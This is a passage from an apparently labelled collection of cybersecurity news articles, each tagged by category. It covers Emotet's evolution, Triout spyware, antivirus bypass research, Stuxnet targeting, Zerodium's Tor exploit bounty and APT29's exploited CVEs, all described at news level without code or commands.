In early 2015 after a little break, Emotet showed up again. The public RSA key, new address lists, RC4 encryption were among the new features of Trojan. From this point, the victims' range started to increase — Swiss banks joined it. And overall, evasion techniques were improved a lot.
In recent versions, a significant change in the strategy has happened. Emotet has turned into polymorphic malware, downloading other malicious programs to the infected computer and the whole network as well. It steals data, adapts to various detection systems, rents the infected hosts to other cybercriminals as a Malware-as-a-Service model.
Since Emotet uses stolen emails to gain victims' trust, spam has consistently remained the primary delivery method for Emotet—making it convincing, highly successful, and dangerous.
For example, in 2018, the government system suffered an Emotet infection in Allentown, a city in eastern Pennsylvania, which cost them $1 million for recovery.
The whole city of Frankfurt had to shut down the network because of Emotet in 2019. Different kinds of organizations, from the government to small businesses, all public services were forced to stop their work via IT.
According to the latest research, Emotet is a worldwide threat that affects all kinds of spheres. Just look at the following map, Italy, Spain, and the United Arab Emirates are the top countries with the most attacked users.
Recently France, Japan, and New Zealand's cybersecurity companies have announced a rise in Emotet attacks targeting their countries.
Emotet then and now
According to a graph of the Emotet samples uploaded to ANY.RUN service, you can see the behavior of the malware in 2019 and 2020.
We can notice some similarities in its activity. For example, in June, Emotet tends to be on the decline. However, it seems to show an increasing trend from August till October. In 2019 the end of the year was very active for this kind of attack, so we can expect it to be on the rise this year as well.
Emotet has remained a threat for years as it changes permanently. Early versions differ from the current one, even by its intentions — Emotet has developed from the banking Trojan to the loader. When it comes to execution evolution and document templates, we will describe only versions that come after 2018. There were changes even over these two years, but the only thing that remains unchanged is delivery.
For distribution and user execution, Emotet is using malicious spam and documents with VBA macros. After a target downloads the attached malicious documents from an email and opens it, the Office document tricks the user into enabling the macro. After that, the embedded macro starts its execution, and subsequent scenarios may vary. The most common variant over the past years is that macros start a Base64 encoded Powershell script that later downloads an executable. But at this point, Emotet brings a lot of different executions.
Many variants come to its life when we talk about the initial steps after a maldoc was opened. VBA macro in Office documents can start cmd, Powershell, WScript, and, lately, for the first time, Сertutil was used by the Emotet's execution chain.
Other changes in the execution process happened in the chain between malicious documents and dropped/downloaded executable files.
Not only has the execution chain transformed over time, but also the Emotet's executable file itself — registry keys, files, and child processes in the file system. For example, in the 2018-2019 years, Emotet dropped its executable at the folder under a particular path and generated a filename and the name of a folder using a particular algorithm.
It changed the file name generation algorithm, process tree, and path generation algorithm for C2 communication.
Another big part that characterizes this malware family is the maldocs' templates it uses. They are continually changing, and most of the time, Emotet uses its own ones. But between them can also be found templates that previously were used to distribute other malware families such as Valak and Icedid.
Emotet from the ANY.RUN's perspective
Of course, the main challenge with Emotet is to find a way to identify it and understand its behavior, so after that, you could improve the weak points in security.
There is a tool that can give you a hand with that. ANY.RUN is an interactive online sandbox that detects, analyzes, and monitors cybersecurity threats, necessary if you deal with Emotet.
Moreover, ANY.RUN has a special tool — the research of public submissions. It's a vast database where users share their investigations. And quite often, Emotet becomes the "hero" of the day: it has a leading position of the most downloaded samples into ANY.RUN. That's why ANY.RUN's experience with the malware is interesting.
The first step of protecting your infrastructure from Emotet infection is — detecting the malware. ANY.RUN sandbox has outstanding tools for Emotet detection and analysis.
The online service deals with Emotet regularly. So, let's try the interactive approach for Emotet detection and investigate one of the samples together:
Here is a malicious attachment from the phishing email that we uploaded to ANY.RUN and immediately get the first results. The process tree on the right reflects all operations that were made.
As shown, the first process starts to create new files in the user directory. Then POwersheLL.exe connects to the network and downloads executable files from the Internet. The last one, winhttp.exe changes the autorun value in the registry and connects to the command-and-control server, both to retrieve instructions for subsequent malicious activities and exfiltrate stolen data.
And finally, Emotet was detected by network activity. Fresh Suricata rulesets from premium providers such as Proofpoint (Emerging Threats) and Positive Technologies are a big part of the detection process.
In addition, ANY.RUN offers a useful Fake Net feature. When turned on, it returns a 404 error that forces malware to reveal its C2 links that help collect Emotet's IOCs more efficiently. That helps malware analysts optimize their time as there is no need to deobfuscate it manually.
Interestingly, a set of malicious documents with the same template can have embedded VBA macro, leading to creating different execution chains. All of them have the main goal to trick a user who opened this maldoc to enable VBA macro.
If you'd like to take a look at all of those templates, just search by tag "emotet-doc" in ANY. RUN's public submissions — these maldocs are clustered by content similarity.
Conclusion
This kind of tendency proves that Emotet isn't going to give up or lose the ground. Its evolution showed that the malware develops very quickly and adapts to everything.
If your enterprise is connected to the Internet, the risks may be broader and deeper than you realize. That's why it's true that combating sophisticated threats like Emotet requires a concerted effort from both individuals and organizations.
Moreover, the goal of services like ANY.RUN is to be aware of such potential threats and help companies recognize malware early and avoid infections at any cost.
Analysis and detection with ANY.RUN is easy, and anyone can analyze a bunch of fresh samples every day.
What's more, the service is free to use and for downloading samples, and there is no doubt you can make use of ANY.RUN — just give it a try!
| Malware |
SSH Backdoor accounts in multiple Barracuda Products | https://thehackernews.com/2013/01/ssh-backdoor-accounts-in-multiple.html | Firewall, VPN and spam filtering products from Barracuda Networks contains hidden hard coded backdoor ed SSH accounts, that allow any hacker to remotely log in and root access sensitive information.
According to an advisory published by Stefan Viehböck of SEC Consult Vulnerability Lab reported the vulnerabilities in default firewall configuration and default user accounts on the unit. Barracuda were informed of the vulnerabilities at the end of November.
All Barracuda Networks appliances with the exception of the Barracuda Backup Server, Barracuda Firewall, and Barracuda NG Firewall are potentially affected i.e Barracuda Spam and Virus Firewall, Barracuda Web Filter, Barracuda Message Archiver, Barracuda Web Application Firewall, Barracuda Link Balancer, Barracuda Load Balancer, Barracuda SSL VPN, CudaTel.
Barracuda recommended that all customers immediately update their Barracuda security definitions to v2.0.5, ensure the products' security definitions are set to on, and check that they're using the most recent firmware. In an attempt to limit access to the backdoor, Barracuda added network rules which only allow access to SSH from certain IP addresses.
| Malware |
56 Hackers Arrested in Cyber Crime 'Strike Week' Raids in UK | https://thehackernews.com/2015/03/hackers-arrested-cyber-crime.html | The United Kingdom's National Crime Agency (NCA) has arrested 56 suspected hackers in a campaign against cybercrime called "strike week."
Law-enforcement officials conducted, in total, 25 separate operations across England, Scotland and Wales, and those arrested were suspected in a wide range of cyber crimes including:
Network intrusion and data theft from multinational companies and government agencies
Distributed Denial of Service (DDoS) attacks
Cyber-enabled fraud
Malicious software and virus development
The raids conducted by NCA were coordinated by its National Cyber Crime Unit (NCCU), special officers Metropolitan Police and Regional Organised Crime Unit's (ROCUs), associated with local forces around the UK.
The arrested hackers also include alleged hackers suspected of being behind attacks on Yahoo, the US Department of Defence (DoD), and PlayStation. The list of hackers arrested in the operation is given below:
A 23-year-old man was allegedly responsible for breaching a satellite communications system used by the US Department of Defense. The hacker accessed 'non-confidential contact information' of almost 800 users, including name, title, e-mail addresses and phone numbers and gained control over information from 34,400 devices, including IMEI numbers.
Another 21-year-old London man was arrested who is suspected of being an alleged member of the D33ds Company hacking collective, the group that hacked into Yahoo in 2012 and posted as many as 450,000 email addresses and passwords online.
An alleged member of the Lizard Squad, the infamous hacking group which claimed the responsibility for taking down the Xbox Live and PlayStation networks over Christmas, was arrested in Leeds, Yorkshire, BBC reports. Lizard Squad member is believed to be 16-year-old teenager who was also behind the attacks on as many as 350 websites, including Lenovo.
A 20-year-old man from Hackney, London was arrested on suspicion of committing a £15,000 phishing attack.
A 22-year-old was apprehended on suspicion of developing and distributing malware.
Many more suspects were arrested among above; you can read the NCA's full list of arrests here.
"The 56 arrests around the country this week are a result of the essential partnership activity with law enforcement, industry and government that is at the heart of fighting cybercrime," said Andy Archibald, Deputy Director of the NCA's National Cyber Crime Unit.
"Criminals need to realise that committing crime online will not make them anonymous to law enforcement. We are continuously working to track down and apprehend those seeking to utilise computers for criminal ends, and to disrupt the technical networks and infrastructures supporting international cyber crime."
This is't first time when law-enforcement agencies have conducted such massive raids in cyber crimes cases. Last year, the Federal Bureau of Investigation (FBI) also conducted a massive raids in Europe and Australia, and arrested more than 100 customers of Blackshades Remote Administration Tool (RAT) malware.
Blackshades and other malware like it allows hackers to remotely control victims' computers, turning on webcams, stealing usernames and passwords for email and Web services, personal information, and launching further attacks on other computers, without the knowledge of the computer owner.
The malicious program modifies itself in such a way that it evade detection from the computer's antivirus software. Blackshades has been sold via PayPal and underground forums since at least 2010, which cost as little as $40.
However, the recent raids carried out by NCA didn't just target hackers behind well-known attacks or specific cyber crime. Instead it has arrested hackers behind phishing attacks, malware, and also companies that offered web hosting to known criminals.
'Strike week' also suggests that the agencies was monitoring each and every activity of cyber crimes as well as hackers and collecting strong evidences against them. Using that information, the officials raided and arrested a long list of cyber criminals.
| Malware |
New Android Malware Framework Turns Apps Into Powerful Spyware | https://thehackernews.com/2018/08/android-malware-spyware.html | Security researchers have uncovered a new, powerful Android malware framework that is being used by cybercriminals to turn legitimate apps into spyware with extensive surveillance capabilities—as part of what seems to be a targeted espionage campaign.
Legitimate Android applications when bundled with the malware framework, dubbed Triout, gain capabilities to spy on infected devices by recording phone calls, and monitoring text messages, secretly stealing photos and videos, and collecting location data—all without users' knowledge.
The strain of Triout-based spyware apps was first spotted by the security researchers at Bitdefender on May 15 when a sample of the malware was uploaded to VirusTotal by somebody located in Russia, but most of the scans came from Israel.
In a white paper (PDF) published Monday, Bitdefender researcher Cristofor Ochinca said the malware sample analyzed by them was packaged inside a malicious version of an Android app which was available on Google Play in 2016 but has since been removed.
The malware is extremely stealthy, as the repackaged version of the Android app kept the appearance and feel of the original app and function exactly like it—in this case, the researcher analyzed an adult app called 'Sex Game'— to trick its victims.
However, in reality, the app contains a malicious Triout payload that has powerful surveillance capabilities which steal data on users and sends it back to an attacker-controlled command and control (C&C) server.
According to the researcher, Triout can perform many spying operations once it compromises a system, including:
Recording every phone call, saving it in the form of a media file, and then sending it together with the caller id to a remote C&C server.
Logging every incoming SMS message to the remote C&C server.
Sending all call logs (with name, number, date, type, and duration) to the C&C server.
Sending every picture and video to the attackers whenever the user snaps a photo or record video, either with the front or rear camera.
Capability to hide itself on the infected device.
But despite the powerful capabilities of the malware, the researchers found that the malware does not use obfuscation, which helped the researchers get full access to its source code by merely unpacking the APK file—suggesting the malware is a work-in-progress.
"This could suggest the framework may be a work-in-progress, with developers testing features and compatibility with devices," Ochinca said.
"The C&C (command and control) server to which the application seems to be sending collected data appears to be operational, as of this writing, and running since May 2018."
Although the researchers were unable to find how this repackaged version of the legitimate app was being distributed and how many times it was successfully installed, they believe the malicious app was delivered to victims either by third-party app stores or by other attacker-controlled domains likely used to host the malware.
Ochinca explains that the analyzed Triout sample was still signed with an authentic Google Debug Certificate.
At the time, no evidence points towards the attackers, or to determine who they are and where they are from, but what's clear is one thing that the attackers are highly skilled and full of resources to develop a sophisticated form of a spyware framework.
The best way to protect yourself from avoiding falling victims to such malicious apps is to always download apps from trusted sources, like Google Play Store, and stick only to verified developers.
Also, most important, think twice before granting any app permission to read your messages, access your call logs, your GPS coordinates, and any other data obtained via the Android's sensors.
| Malware |
Malware Can Use This Trick to Bypass Ransomware Defense in Antivirus Solutions | https://thehackernews.com/2021/06/malware-can-use-this-trick-to-bypass.html | Researchers have disclosed significant security weaknesses in popular antivirus software applications that could be abused to deactivate their protections and take control of allow-listed applications to perform nefarious operations on behalf of the malware to defeat anti-ransomware defenses.
The twin attacks, detailed by academics from the University of Luxembourg and the University of London, are aimed at circumventing the protected folder feature offered by antivirus programs to encrypt files (aka "Cut-and-Mouse") and disabling their real-time protection by simulating mouse "click" events (aka "Ghost Control").
"Antivirus software providers always offer high levels of security, and they are an essential element in the everyday struggle against criminals," said Prof. Gabriele Lenzini, chief scientist at the Interdisciplinary Center for Security, Reliability, and Trust at the University of Luxembourg. "But they are competing with criminals which now have more and more resources, power, and dedication."
Put differently, shortcomings in malware mitigation software could not just permit unauthorized code to turn off their protection features, design flaws in Protected Folders solution provided by antivirus vendors could be abused by, say, ransomware to change the contents of files using an app that's provisioned write access to the folder and encrypt user data, or a wipeware to irrevocably destroy personal files of victims.
Protected Folders allow users to specify folders that require an additional layer of protection against destructive software, thereby potentially blocking any unsafe access to the protected folders.
"A small set of whitelisted applications is granted privileges to write to protected folders," the researchers said. "However, whitelisted applications themselves are not protected from being misused by other applications. This trust is therefore unjustified, since a malware can perform operations on protected folders by using whitelisted applications as intermediaries."
An attack scenario devised by the researchers revealed that malicious code could be used to control a trusted application like Notepad to perform write operations and encrypt the victim's files stored in the protected folders. To this end, the ransomware reads the files in the folders, encrypts them in memory, and copies them to the system clipboard, following which the ransomware launches Notepad to overwrite the folder contents with the clipboard data.
Even worse, by leveraging Paint as a trusted application, the researchers found that the aforementioned attack sequence could be used to overwrite user's files with a randomly generated image to destroy them permanently.
Ghost Control attack, on the other hand, could have serious consequences of its own, as turning off real-time malware protection by simulating legitimate user actions performed on the user interface of an antivirus solution could permit an adversary to drop and execute any rogue program from a remote server under their control.
Of the 29 antivirus solutions evaluated during the study, 14 of them were found vulnerable to the Ghost Control attack, while all 29 antivirus programs tested were found to be at risk from the Cut-and-Mouse attack. The researchers didn't name the vendors who were affected.
If anything, the findings are a reminder that security solutions that are explicitly designed to safeguard digital assets from malware attacks can suffer from weaknesses themselves, thus defeating their very purpose. Even as antivirus software providers continue to step up defenses, malware authors have sneaked past such barriers through evasion and obfuscation tactics, not to mention bypassing their behavioral detection using adversarial inputs via poisoning attacks.
"Secure composability is a well-known problem in security engineering," the researchers said. "Components that, when taken in isolation, offer a certain known attack surface do generate a wider surface when integrated into a system. Components interact one another and with other parts of the system create a dynamic with which an attacker can interact too and in ways that were not foreseen by the designer."
| Malware |
Apple Mac OS X Vulnerability enables Root User to Hackers by resetting the clock | https://thehackernews.com/2013/08/apple-mac-os-x-vulnerability-enables.html | Do you think, because you're using an Apple Mac, your data is safe from hackers ? Well, it is not true, there are dozens of security weaknesses and today Researchers have made it easier to exploit Apple Mac OS X, that allows penetration testers and hackers to gain root access.
The flaw remained unmatched by Apple for the last five months, dubbed CVE-2013-1775, the flaw allowed attackers to bypass normal password authentication procedures by resetting the computer clock to January 1, 1970.
The reason that specific date is required is because it represents the beginning of time to the operating system and some applications that run on it. When the SUDO command is used in combination with a clock reset, the computer can be tracked into providing root access without a password.
Metasploit authors have come up with a brand new module that makes the bug even easier to exploit, renewing interest in the problem. The module gains a session with root permissions as long as the user ran the SUDO command before and as long as they have administrative privileges.
H.D. Moore, founder of Metasploit, warned that this was a serious vulnerability: "The bug is significant because it allows any user-level compromise to become root, which in turn exposes things like clear-text passwords from Keychain and makes it possible for the intruder to install a permanent rootkit."
In addition, the hacker needs to have either physical or remote access to the machine. Apple has yet to respond or issue a patch for the bug. As a result, all versions of the operating system from OS X 10.7 to the current 10.8.4 are affected.
Most of the recent exploits of Mac OS X have been related to Java, which Apple completely blocked earlier this year over security vulnerabilities.
| Vulnerability |
iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video] | https://thehackernews.com/2011/09/iphone-skype-xss-vulnerability-lets.html | iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video]
A bug in the latest version of Skype for iPhone and iPod touch makes its users vulnerable to having their address book stolen just by viewing a specially crafted message, says AppSec Consulting security researcher Phil Purviance.
The problem is made more exploitable by the way Skype uses the embeddable WebKit browser; Skype developers have set the URI scheme for the embedded browser to "file://". This error allows an attacker to access the file system and read any file that the app would be allowed to read by the iOS application sandbox. One file that every iOS application has access to is the user's SQLlite AddressBook database. In a demonstration of the bugs, Phil Purviance, AppSec Consulting security researcher, showed how it was possible to extract the iPhone address book using the vulnerabilities.
Skype is aware of the issue and is working on a fix. "We are working hard to fix this reported issue in our next planned release, which we hope to roll out imminently," Skype said in a statement.
Simple solution: Don't open text messages in the chat window, and check for a really quick update.
| Vulnerability |
Zerodium Offers $1 Million for Tor Browser 0-Days That It will Resell to Governments | https://thehackernews.com/2017/09/tor-zero-day-exploits.html | It seems like Tor Browser zero-day exploits are in high demand right now—so much so that someone is ready to pay ONE MILLION dollars.
Zerodium—a company that specialises in acquiring and reselling zero-day exploits—just announced that it will pay up to USD 1,000,000 for working zero-day exploits for the popular Tor Browser on Tails Linux and Windows operating system.
Tor browser users should take this news an early warning, especially who use Tails OS to protect their privacy.
Zero-day exploit acquisition platform has also published some rules and payout details on its website, announcing that the payout for Tor exploits with no JavaScript has been kept double than those with JavaScript enabled.
The company has also clearly mentioned that the exploit must leverage remote code execution vulnerability, the initial attack vector should be a web page and it should work against the latest version of Tor Browser.
Moreover, the zero-day Tor exploit must work without requiring any user interaction, except for victims to visit a web page.
Other attack vectors such as delivery via malicious document are not eligible for this bounty, but ZERODIUM may, at its sole discretion, make a distinct offer to acquire such exploits.
Zerodium to Sell Tor Browser 0-Days to Law Enforcement Agencies
Although the zero-day market has long been a lucrative business for private firms that regularly offer more payouts for undisclosed vulnerabilities than big technology companies, Zerodium says that it wants to resell the Tor browser exploits to law enforcement agencies to fight crime.
In a FAQ, the company has admitted that it will sell the acquired Tor zero-days to law enforcement agencies, and possibly the commercial malware development companies who sell spyware to governments.
"In many cases, [Tor] used by ugly people to conduct activities such as drug trafficking or child abuse. We have launched this special bounty for Tor Browser zero-days to help our government customers fight crime and make the world a better and safer place for all," Zerodium said.
In response to the Zerodium bounty program, Tor Project says that breaching the security of its anonymity software may risk lives of many users, including human rights defenders, activists, lawyers, and researchers, who rely on it.
The non-profit foundation also urges researchers and hackers to responsibly disclose vulnerabilities in Tor via its recently-launched bug bounty program.
"We think the amount of the bounty is a testament to the security we provide. We think it's in the best interest of all Tor users, including government agencies, for any vulnerabilities to be disclosed to us through our own bug bounty," Tor Project spokesperson told The Hacker News.
"Over 1.5 million people rely on Tor everyday to protect their privacy online, and for some it's life or death. Participating in Zerodium's program would put our most at-risk users' lives at stake."
Payouts for Tor Browser 0-Day RCE Exploits
Here is the list of Zerodium's payouts for Tor Browser Exploits:
RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $250,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $185,000
RCE+LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $125,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $85,000
RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $200,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $175,000
RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $100,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $75,000
Those interested can submit their exploit until November 30th, 2017 at 6:00 pm EDT. The company also notes that the bounty may be terminated before its expiration if the total payout to researchers reaches one million U.S. dollars ($1,000,000).
| Vulnerability |
Security Solutions for Beast attack against SSL/TLS Vulnerability | https://thehackernews.com/2011/09/security-solutions-for-beast-attack.html | Security Solutions for Beast attack against SSL/TLS Vulnerability
Juliano Rizzo and Thai Duong presented a new attack on Transport Layer Security (TLS) at the Ekoparty security conference in Buenos Aires, Argentina. The researchers found that encryption, which should protect us, when we connect to some sites over HTTPS, may be compromised. The researchers say that their code is called BEAST (Browser Exploit Against SSL / TLS) prove to the world that any cryptographic protocol designed to TLS 1.1, is vulnerable and can be quite easily deciphered. Researchers try to decode the authentication cookies used to login to your account PayPal, within 10 minutes, far faster than anyone expected. If successful, the faith of Internet users in one of the pillars of online safety is fully dissipated.BEAST is different from the many published attacks against HTTPS, - said Dwan. - While other attacks are focused on property, authenticity SSL, BEAST Attacks privacy protocol. As far as we know, BEAST implements first attack, which actually decodes requests HTTPS.
Cisco provide some solutions related to this attack on blog. Protocols TLS 1.1 and 1.2 do not have a similar vulnerability, Additionally, TLS versions 1.1 (RFC 4346) and 1.2 (RFC 5246) are not affected by this issue. In TLS version 1.1 the implicit Initialization Vector (IV) was replaced with an explicit IV. Also, Datagram Transport Layer Security (DTLS) protocol versions 1.0 and 1.2 are not affected (DTLS is defined in RFC 4347). But these versions of the protocols are not supported any sites or some other popular browsers, and therefore the most popular sites currently are vulnerable. Almost all Web servers at the moment use SSL 3.0 or TLS 1.0. Of all the browsers support TLS 1.2 are only Opera, beginning with the tenth version, and Internet Explorer 8 on Windows 7 and above. Neither Mozilla Firefox, or Google Chrome TLS 1.1/1.2 is not currently supported.
Another thing to highlight is that OpenSSL implemented a feature where they send an "empty TLS record" immediately before they send a message. This empty TLS record causes a change in the CBC state where people consider it to give the message "a new IV" that the attacker can't predict. This feature in OpenSSL is disabled with the "SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS" option and it's also included in the "SSL_OP_ALL" option. In OpenSSL versions 0.9.6d and later, the protocol-level mitigation is enabled by default, thus making it not vulnerable to the BEAST attack.For applications that use OpenSSL, this "empty-record" trick can be enabled as a workaround. For a more permanent solution, the adoption of TLS 1.1/1.2 is what's needed.
Nickm from the Tor Project does a good job introducing the basics on his blog for people who don't know all the technical details about the TLS protocols and CBC.
| Vulnerability |
Hackers can Spoof AT&T Phone Messages to steal your Information | https://thehackernews.com/2015/01/spoof-phone-messages.html | Bad news for AT&T customers! You all are vulnerable to phishing scams – thanks to AT&T's text protocols. The actual problem lies in the way AT&T handles its customer alerts via text messages, as it's very easy for cybercriminals to mimic.
In "Phishing" attacks, scammers attempt to trick victims into revealing their personal and financial information by sending email or text messages that appear to be from legitimate companies. Instead of emails, here hackers have targeted AT&T users with the text messages.
According to Dani Grant, the computer programmer who discovered the flaw and reported to the company, AT&T is making use of plethora for short codes, due to which its customers unable to distinguish between the legitimate and phishing messages.
The second issue is that some of AT&T's real links directs its users to att.com while others take you to dl.mymobilelocate.com.
"Another problem is that AT&T directs customers to URLs like dl.mymobilelocation.com which aren't obviously associated with AT&T," Grant wrote. "Every AT&T text looks like this, so customers learn to trust any text that claims to be from AT&T, no matter on what they're being asked to click."
With little efforts, a scammer could send you alerts that look just like the legitimate one, as the "customers of AT&T don't have a good way to know what texts are actually from their cell carrier, making AT&T an easy target to spoof."
Last but not the least, the AT&T text messages don't even have a consistent format. Sometimes the messages start in all capital letters: "AT&T FREE MSG" and at other times the messages are in all lowercase: "AT&T Free Msg."
In order to test her findings, Grant set up her own short code as she was able to find a free trial for 30 days of short code. Then she bought a legitimate-looking website address (attmobilityllc.net) for $10.89 and sent a message. Now, nobody could find a difference between both?
Grant reported the problems to AT&T as a security flaw but the company declined to comment on this issue. Though, AT&T isn't the only company which lacks the security of its customers. As CNN Money reported, "Verizon sends out text messages from a 12-digit number that changes depending on the customer, and it sends links to vzwmobile.com or vzw.com."
"T-Mobile sends alerts from a three-digit short code (also different for every user) and links to t-mo.co. SMS text messages are convenient, because they're reliable. You can get them anywhere, anytime on any phone."
| Vulnerability |
Stuxnet Hit 5 Gateway Targets on Its Way to Iranian Plant ! | https://thehackernews.com/2011/02/stuxnet-hit-5-gateway-targets-on-its.html | Attackers behind the Stuxnet computer worm focused on targeting five organizations in Iran that they believed would get them to their final target in that country, according to a new report from security researchers.
The five organizations, believed to be the first that were infected with the worm, were targeted in five separate attacks over a number of months in 2009 and 2010, before Stuxnet was discovered in June 2010 and publicly exposed. Stuxnet spread from these organizations into other organizations on its way to its final target, which is believed to have been a nuclear enrichment facility or facilities in Iran.
"These five organizations were infected, and from those five computers Stuxnet spread out — not to just computers in those organizations, but to other computes as well," says Liam O Murchu, manager of operations for Symantec Security Response. "It all started with those five original domains."
The new information comes in an updated report from researchers at Symantec , a computer security firm that has provided some of the leading analysis of the worm since it was discovered.
According to the report, Stuxnet's first attack against the five organizations occurred in June 2009, followed by a second attack in July 2009. Eight months passed before subsequent attacks were launched in March, April and May 2010. The last attack was just one month before the code was discovered in June 2010 by VirusBlokAda, a security firm in Belarus, which said it had found the malware on computers of unspecified clients in Iran.
Symantec didn't identify the names of the five organizations that were targeted; the company said only that all five "have a presence in Iran" and are involved in industrial processes. One of the organizations (what Symantec refers to as Domain B) was targeted with the worm in three of the five attacks. Of the remaining organizations, three of them were hit once, and the last organization was targeted twice.
Symantec has so far been able to count a constellation of 12,000 infections in the five organizations and outside organizations to which the malware spread. The most successful attack occurred in March 2010 when 69 percent of these infections occurred. The March attack targeted only Domain B, then spread.
Domain A was targeted twice (Jun 2009 and Apr 2010). The same computer appears to have been infected each time.
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
Domain C was targeted once (Jul 2009).
Domain D was targeted once (Jul 2009).
Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same initially infected USB key was inserted into three different computers.)
O Murchu acknowledges that there could have been earlier attacks that occurred before June 2009, but no one has found evidence of this yet.
Symantec found that the shortest time between when the malware was compiled in one case — that is turned from source code into a working piece of software — and the subsequent attack using the code occurred, was just 12 hours. This occurred in the June 2009 attack.
"This tells us that the attackers more than likely knew who they wanted to infect before they completed the code," O Murchu says. "They knew in advance who they wanted to target and how they were going to get it there."
Stuxnet was not designed to spread via the internet but via an infected USB stick or some other targeted method within a local network. So the short timeframe between compilation and the launch of the June 2009 attack also suggests that the attackers had immediate access to the computer they attacked — either working with an insider or using an unwitting insider to introduce the infection.
"It could be they sent it to someone who put it on a USB key, or it could have been delivered via spear-phishing," O Murchu says. "What we do see is that the exploits in Stuxnet are all land-based, so it is not going to spread wildly on the internet. From that, we can assume the attackers wanted to deliver Stuxnet to an organization that was very close to whatever the final destination for Stuxnet was."
Symantec, working with other security firms, has so far been able to collect and examine 3,280 unique samples of the code. Stuxnet has infected more than 100,000 computers in Iran, Europe and the United States, but it's designed to only deliver its malicious payload when it finds itself on the final system or systems it's targeting.
On systems that are not targeted, the worm just sits and finds ways to spread to other computers in search of its target. To date, three variants of Stuxnet have been found (dating to June 2009, March 2010 and April 2010). Symantec believes a fourth variant likely exists, but researchers have not found it yet.
One of the organizations, Domain B, was targeted each time the attackers released a new version of Stuxnet.
"So it looks like they felt that if they got in there, Stuxnet would spread to the [system] they actually wanted to attack," O Murchu says.
After the worm was discovered in June 2010, Symantec researchers worked on reverse-engineering the code to determine what it was designed to do. Two months later, the company stunned the security community when it revealed that Stuxnet was designed to attack Programmable Logic Controllers (PLCs), something that until then was considered a theoretical attack but had never been proven done. PLCs are components that work with SCADA systems (supervisory control and data acquisition systems) that control critical infrastructure systems and manufacturing facilities.
Shortly after Symantec released this information last August, German researcher Ralph Langner disclosed that Stuxnet was not attacking just any PLC, it was targeted to sabotage a specific facility or facilities. Speculation focused on Iran's nuclear enrichment plant at Natanz as the likely target. Iran has acknowledged that malicious software struck computers at Natanz and affected centrifuges at the plant, but has not provided any details beyond this.
| Malware |
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild | https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html | Cyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday.
"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders," the National Cyber Security Centre (NCSC) said.
These include the deployment of an open-source tool called Sliver to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.
The development follows the public attribution of SVR-linked actors to the SolarWinds supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.
The attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example COVID-19 vaccine targeting in 2020," the NCSC said.
This was followed by a separate guidance on April 26 that shed more light on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Now according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to "rapidly" weaponize recently released public vulnerabilities that could enable initial access to their targets.
CVE-2019-1653 - Cisco Small Business RV320 and RV325 Routers
CVE-2019-2725 - Oracle WebLogic Server
CVE-2019-7609 - Kibana
CVE-2020-5902 - F5 Big-IP
CVE-2020-14882 - Oracle WebLogic Server
CVE-2021-21972 - VMware vSphere
CVE-2021-26855 - Microsoft Exchange Server
"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage," the agency said.
| Cyber_Attack |
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